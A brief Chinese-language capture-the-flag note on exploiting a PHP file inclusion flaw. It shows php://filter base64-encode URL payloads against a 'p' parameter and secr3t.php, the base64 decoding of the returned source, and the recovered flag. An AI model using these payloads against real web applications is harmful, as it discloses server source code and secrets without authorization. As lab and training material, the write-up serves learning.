任意文件漏洞

/?p=php://filter/convert.base64-encode/resource=flag

filter是php中独有的一种协议，其作用是过滤php中的数据流

而convert.base64-encode是将数据流转义魏base64的格式

resource=<要过滤的数据流>

获得一串base64编码后的数据后

在kali中输入

ehco

echo ‘PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9Cg==’ | base64 –decode

则解码出如下文件

<?php die(‘no no no’);

//n1book{afr_1_solved}

蒋璐源的秘密  secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php  secr3t.php作为索引